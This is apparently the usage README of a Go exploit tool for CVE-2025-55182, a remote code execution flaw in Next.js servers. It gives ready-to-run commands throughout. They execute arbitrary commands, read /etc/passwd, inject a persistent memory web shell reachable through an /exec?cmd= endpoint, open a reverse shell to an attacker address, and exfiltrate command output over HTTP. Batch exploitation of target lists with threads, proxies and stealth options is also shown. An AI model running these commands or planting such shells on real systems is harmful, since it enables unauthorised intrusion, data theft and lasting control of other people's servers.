# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC

# Build for current platform
go build -o cve-2025-55182 .

# Or build for all platforms
chmod +x build.sh
./build.sh

# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check

# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check

# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"

# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell

# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell

# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"

# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'

# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'

# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure

# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080

# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080

# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080

# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080

# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080

# Batch check from file
./cve-2025-55182 --urls targets.txt --check

# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json

# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s

# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt

# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10

# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5

# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444

# Start listener on attacker machine first:
nc -lvnp 4444

# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444

# Start listener: nc -lvnp 4444

socks5://user:pass@ip:port  - SOCKS5 with authentication
socks5://ip:port            - SOCKS5 without authentication  
socks5h://ip:port           - SOCKS5 with remote DNS resolution
socks4://ip:port            - SOCKS4 proxy
socks4a://ip:port           - SOCKS4a proxy
http://user:pass@ip:port    - HTTP proxy with authentication
http://ip:port              - HTTP proxy without authentication
https://ip:port             - HTTPS proxy

# After injection:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'

.
├── main.go                   # CLI entry point
├── pkg/
│   ├── colors/
│   │   └── colors.go         # Terminal colors with --nocolor support
│   ├── exploit/
│   │   └── exploit.go        # Core exploit logic, memory shell, version detection
│   ├── proxy/
│   │   └── proxy.go          # SOCKS4/5, HTTP proxy support
│   ├── scanner/
│   │   └── scanner.go        # Batch scanning with JSON output
│   └── stealth/
│       └── stealth.go        # User-Agent randomization
├── build.sh                  # Cross-platform build script
├── go.mod                    # Go module file
├── go.sum                    # Go dependencies
└── README.md                 # This file

chmod +x build.sh
./build.sh

{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}

{
  "scan_time": "2025-12-06T12:00:00Z",
  "total_urls": 100,
  "vulnerable_count": 5,
  "safe_count": 90,
  "timeout_count": 5,
  "results": [...]
}